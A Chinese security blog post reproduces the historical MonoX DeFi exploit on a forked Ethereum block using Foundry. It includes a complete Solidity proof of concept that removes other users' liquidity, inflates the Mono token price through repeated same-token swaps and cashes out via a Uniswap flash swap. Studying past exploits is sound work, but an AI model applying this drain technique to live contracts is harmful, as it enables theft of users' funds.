Defi安全-Monox攻击事件Foundry复现

其它相关内容可见个人主页

Mono攻击事件的介绍见:Defi安全–Monox攻击事件分析–phalcon+etherscan

1. 前情提要和思路介绍

Monox使用单边池模型,创建的是代币-vCash交易对,添加流动性时,只需添加代币,即可进行任意代币的兑换

主要的漏洞有两个方面:

  • 可以在Monox官网查看提供代币流动性的用户地址,但是每个用户的流动性,任意的用户都可以调用移除流动性函数,进行流动性的移除。
  • 在Monoswap的代币交换函数中,并未考虑tokenIn tokenOut相等的情况,代码逻辑处理的时候,出现价格覆盖的情况,Mono代币价格异常抬升,具体可见相关攻击实现的分析。

2. Foundry复现攻击流程

foundry进行外部合约调用的时候,用interface定义相应的方法,并定义对应合约的地址,实现外部合约的调用(觉得比较好的方式)

pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
    function deposit() external payable;
}

interface IuniswapV2pair {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

interface IMonoswap {
    function removeLiquidity (address _token, uint256 liquidity, address to,uint256 minVcashOut, uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut);
    function addLiquidity(address _token, uint256 _amount, address to) external returns (uint256 liquidity);
    function swapExactTokenForToken(
        address tokenIn,
        address tokenOut,
        uint amountIn,
        uint amountOutMin,
        address to,
        uint deadline
    ) external returns (uint amountOut);
    function swapTokenForExactToken(
        address tokenIn,
        address tokenOut,
        uint256 amountInMax,
        uint256 amountOut,
        address to,
        uint256 deadline
    ) external returns (uint256 amountIn);
    function pools(address)
        external
        view
        returns (
            uint256 pid,
            uint256 lastPoolValue,
            address token,
            uint8 status,
            uint112 vcashDebt,
            uint112 vcashCredit,
            uint112 tokenBalance,
            uint256 price,
            uint256 createdAt
        );
}

interface IMonoXPool {
    function totalSupplyOf(uint256 pid) external returns (uint256);
    function balanceOf(address account, uint256 id) external returns (uint256);
}

address constant uniswapv2pair = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant Monoswap = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
address constant MonoXPool = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address constant Mono = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

address constant liquidity_user1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address constant liquidity_user2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address constant liquidity_user3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;

攻击代码

调用forge进行测试

 forge test --match-contract test_Monox -vv

结果:

image-20240107221535861

contract test_Monox is Test{

    function setUp() public {
        vm.createSelectFork("https://rpc.ankr.com/eth", 13_715_025);
    }
    //首先folk以太坊上对应区块的状态
    
    function test_Monox_exploit() public {
        IERC20(Mono).approve(address(Monoswap), type(uint256).max);
        IERC20(weth).deposit{value: address(this).balance, gas: 40_000}();

        console.log("WETH balance: ", IERC20(weth).balanceOf(address(this)));
        IERC20(weth).approve(address(Monoswap), 0.1 ether);
		//在进行对应的代币转移的时候,一定要记得先进行approve操作
		
        IMonoswap(Monoswap).swapExactTokenForToken(weth, Mono, 0.1 ether, 1, address(this), 1638278872);
        console.log("Mono balance:  ", IERC20(Mono).balanceOf(address(this)));
        //提取weth,并调用monoswap的函数,将0.1weth换成对应的Mono代币,易进行后续操作
        
        remove_liquidity_user();
        uint liquidity = IMonoswap(Monoswap).addLiquidity(address(Mono), 196975656, address(this));
        console.log("attacker gain liquidity: ", liquidity);
		//攻击者自己添加对应的流动性,获得对应LP流动性证明,为后续拉升Mono价格做准备
		
        raise_mono_price();

        swap_mono_for_weth();
        //将对应高价格的mono代币置换成weth

    }

    function remove_liquidity_user() public {
        
        (uint pid,,,,,,,,) = IMonoswap(Monoswap).pools(address(Mono));
        uint balance = IMonoXPool(MonoXPool).totalSupplyOf(pid);
        console.log("pid:  ", pid);
        console.log("monoXpool's mono balance: ", balance);

        uint balance1 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user1), pid);
        IMonoswap(Monoswap).removeLiquidity(address(Mono), balance1, address(liquidity_user1), 0, 1);

        uint balance2 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user2), pid);
        IMonoswap(Monoswap).removeLiquidity(address(Mono), balance2, address(liquidity_user2), 0, 1);

        uint balance3 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user3), pid);
        IMonoswap(Monoswap).removeLiquidity(address(Mono), balance3, address(liquidity_user3), 0, 1);
		//漏洞函数,根据phalcon的调用序列,移除对应用户的流动性
        uint balance_afterremove = IMonoXPool(MonoXPool).totalSupplyOf(pid);
        console.log("monoXpool's mono balance after remove liquidity", balance_afterremove);
    }

    function raise_mono_price() public {
        for(uint i = 0 ; i < 55 ; i++){
            (uint pid ,,,,,,uint tokenBalance,uint price, ) = IMonoswap(Monoswap).pools(address(Mono));
            uint balance = IERC20(Mono).balanceOf(address(this));

            IMonoswap(Monoswap).swapExactTokenForToken(address(Mono), address(Mono), tokenBalance ,0, address(this), 1638278872);

            console.log("Mono token Price - ",i,":  ",  price);
        }
        //按照对应的调用序列,得到池子里的Mono余额,并调用对应的漏洞函数,swapEaxctTokenForToken
    }

    function swap_mono_for_weth() public {
        
        uint weth_balance = IERC20(weth).balanceOf(address(this));
        console.log("attacker weth balance: ", weth_balance);

        uint mono_balance = IERC20(Mono).balanceOf(address(this));
        console.log("attacker mono balance: ", mono_balance);

        IuniswapV2pair(uniswapv2pair).swap(0, 547_206_697_433_507_365_949, address(this), "0x00");
        //闪电贷,借贷weth和usdc的pair对
        uint weth_balance2 = IERC20(weth).balanceOf(address(this));
        console.log("attacker weth balance: ", weth_balance2 - weth_balance);

        uint mono_balance2 = IERC20(Mono).balanceOf(address(this));
        console.log("attacker mono balance: ", mono_balance - mono_balance2);
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{

        uint balance = IERC20(Mono).balanceOf(address(this));
        IMonoswap(Monoswap).swapTokenForExactToken(address(Mono), address(usdc), balance, 4029106880396, address(this), 1638278872);

        bool success = IERC20(usdc).transfer(address(uniswapv2pair),3029106880396);

        require(success);
        //在回调函数中,调用monoswap对应的函数,将mono换成对应的usdc,实现对应的usdc还款。

    }

    function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
        bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
        // a = 0xf23a6e61
        return a;
    }
    //在添加流动性的时候,会回调对应的函数,否则会报错
}

攻击poc如果没有定义相应的的onERC1155Received,则在流动性生成时会报错,如下图所示:

image-20240107221633674

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/300443.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Docker常用命令Docker命令 docker常用命令

Docker常用命令Docker命令 docker常用命令 Docker常用命令Docker命令 docker常用命令1、拉取镜像2、查看镜像列表3、run命令帮助信息3.1、创建容器并且运行, 最基本的创建运行3.2、创建容器并且运行, 容器端口绑定宿主机端口3.3、创建容器并且运行, 启动容器传递参数3.4、创建容…

Vue3 结合typescript 组合式函数(1)

在App.vue文件中 实现鼠标点击文件&#xff0c;显示坐标值 第一种方法 第二种方法&#xff1a;组合式函数 结果&#xff1a; 官网推荐组合函数&#xff1a;https://vueuse.org

【linux学习笔记】网络

目录 【linux学习笔记】网络检查、监测网络ping-向网络主机发送特殊数据包traceroute-跟踪网络数据包的传输路径netstat-检查网络设置及相关统计数据 【linux学习笔记】网络 检查、监测网络 ping-向网络主机发送特殊数据包 最基本的网络连接命令就是ping命令。ping命令会向指…

初识Linux shell

Linux初探 Linux系统可以划分为4个部分&#xff1a; Linux内核&#xff1a;Linux系统的核心&#xff0c;控制着系统的所有硬件和软件&#xff0c;在必要时分配硬件&#xff0c;并根据需要执行软件。 内核主要功能&#xff1a; 系统内存管理&#xff1a;内核通过硬件上称为交换…

Java项目:108SSM教务管理系统

博主主页&#xff1a;Java旅途 简介&#xff1a;分享计算机知识、学习路线、系统源码及教程 文末获取源码 一、项目介绍 教务管理系统基于SpringSpringMVCMybatis开发&#xff0c;功能和学生成绩管理系统&#xff0c;学生选课管理系统类似&#xff0c;也可以做学生成绩管理系统…

探寻能源未来瞩目储能科技-2024武汉储能产业博览会定挡8月

探寻能源未来瞩目储能科技-2024武汉储能产业博览会定挡8月 2024武汉国际储能产业博览会 同期举办&#xff1a;2024世界汽车制造技术暨智能装备博览会 时间&#xff1a;2024.8.14-16 地点&#xff1a;武汉国际博览中心 邀请函 主办单位&#xff1a;湖北省汽车行业协会、湖…

快速掌握Postman实现接口测试

快速掌握Postman实现接口测试 Postman简介 Postman是谷歌开发的一款网页调试和接口测试工具&#xff0c;能够发送任何类型的http请求&#xff0c;支持GET/PUT/POST/DELETE等方法。Postman非常简单易用&#xff0c;可以直接填写URL&#xff0c;header&#xff0c;body等就可以发…

PiflowX组件-ReadFromUpsertKafka

ReadFromUpsertKafka组件 组件说明 upsert方式从Kafka topic中读取数据。 计算引擎 flink 有界性 Unbounded 组件分组 kafka 端口 Inport&#xff1a;默认端口 outport&#xff1a;默认端口 组件属性 名称展示名称默认值允许值是否必填描述例子kafka_hostKAFKA_HO…

OpenSource - 基于Netty的网络扩展库HServer

文章目录 概述官网Hserver的理念特点原理图代码案例HelloWorld 概述 HServer是一个基于Netty开发网络扩展库.使用插件方式来扩展我们的业务 HServer提供 web,gateway,rpc 等插件 同时用户也可以自定义插件&#xff0c;来完成各种各样的业务场景。 官网 https://gitee.com/HSe…

计算机毕业设计 | SpringBoot+vue移动端音乐网站 音乐播放器(附源码)

1&#xff0c;项目背景 随着计算机技术的发展&#xff0c;网络技术对我们生活和工作显得越来越重要&#xff0c;特别是现在信息高度发达的今天&#xff0c;人们对最新信息的需求和发布迫切的需要及时性。为了满足不同人们对网络需求&#xff0c;各种特色&#xff0c;各种主题的…

一文带你弄懂 V8 数组的快速 / 字典模式

V8 是如何处理数组的&#xff1f; 问题 先抛出一个问题&#xff0c;下面两端代码哪个的效率更高&#xff1f; const arr []; for(let i 0; i < 10000000; i) {arr[i] 1; }const arr []; arr[10000000 - 1] 1; for(let i 0; i < 10000000; i) {arr[i] 1; }答案是…

一文搞定通过UTM 在MAC M1上安装Win11

Why 临近过年&#xff0c;一年一度的抢票大战就要开始。抢票软件要求安装在windows&#xff0c;作为mac资深用户&#xff0c;必须安装个windows虚拟机。 How step by step: follow YouTube。具体step follow YouTube 视频。本文&#xff0c;只说一下&#xff0c;特别容易错…

Unity中Shader面片一直面向摄像机(个性化修改及适配BRP)

文章目录 前言一、个性化修改面向摄像机效果1、把上一篇文章中求的 Z轴基向量 投影到 XoZ平面上2、其余步骤和之前的一致3、在属性面板定义一个变量&#xff0c;控制面片面向摄像机的类型4、效果 二、适配BRP三、最终代码 前言 在上一篇文章中&#xff0c;我们用Shader实现了面…

1.7 day5 IO进程线程

互斥锁 #include <myhead.h> char buf[128];//创建临界资源 pthread_mutex_t mutex;//创建锁 void *task(void *arg)//分支线程 {while(1){pthread_mutex_lock(&mutex);//上锁printf("分支线程:buf%s\n",buf);strcpy(buf,"I Love China");pthre…

mysql基础-表数据操作之查

目录 1.别名 2. 单表查询 2.1 模糊查询 - like 2.2 limit 2.3 order by 2.4 group by 2.5 in 2.6 between and 2.6 is null 2.7 not 2.8 运算符 3. 联表查询 全连接 左连接 右连接 本次分享一下数据的DQL语言。 1.别名 首先分享一下别名的知识。我们在查询的时…

【创建VirtualBox虚拟机并安装openEuler20.03 TLS SP1操作系统】

创建VirtualBox虚拟机并安装openEuler20.03 TLS SP1操作系统 一、环境说明二、安装过程 一、环境说明 虚拟机软件&#xff1a;Virtualbox操作系统&#xff1a;openEuler 20.03 TLS SP1&#xff08;x86&#xff09; 二、安装过程 创新虚拟机 修改虚拟机配置&#xff1a; …

MySQL复习汇总(图书管理系统)

MySQL图书管理系统&#xff08;49-94&#xff09;源码_71.备份book数据库到e盘的mybook.sql文件(备份文件中要求包含建库命令)-CSDN博客 -- 1、 创建一个名称为book的数据库。 -- 2、 打开book数据库 -- 3、 创建数据表分别如下&#xff08;除外键之外&#xff09;…

IDEA 中搭建 Spring Boot Maven 多模块项目 (父SpringBoot+子Maven)

第1步&#xff1a;新建一个SpringBoot 项目 作为 父工程 [Ref] 新建一个SpringBoot项目 删除无用的 .mvn 目录、 src 目录、 mvnw 及 mvnw.cmd 文件&#xff0c;最终只留 .gitignore 和 pom.xml 第2步&#xff1a;创建 子maven模块 第3步&#xff1a;整理 父 pom 文件 ① …

支付宝扫码(Easy版)支付实现

文章目录 一 技术准备1.1 二维码技术&#xff08;java&#xff09;1.2 支付宝沙箱环境准备1.3 内网穿透 二 支付宝支付相关知识2.1 各种支付方式2.2 扫码付接入流程2.3 系统交互流程(时序图)2.4 加密逻辑 三 扫码支付实现3.1 添加maven依赖&#xff08;Easy版&#xff09;3.2 完…

【Python发送邮件】

Python发送邮件 使用python的email和smtplib发送邮件 使用python的email和smtplib发送邮件 需要先下载安装 email 和 smtplib 模块 // An highlighted block pip install email smtplib需要去你的邮件地址申请一下 API Key&#xff0c;这是专门用来开发时使用的密钥。 获取后…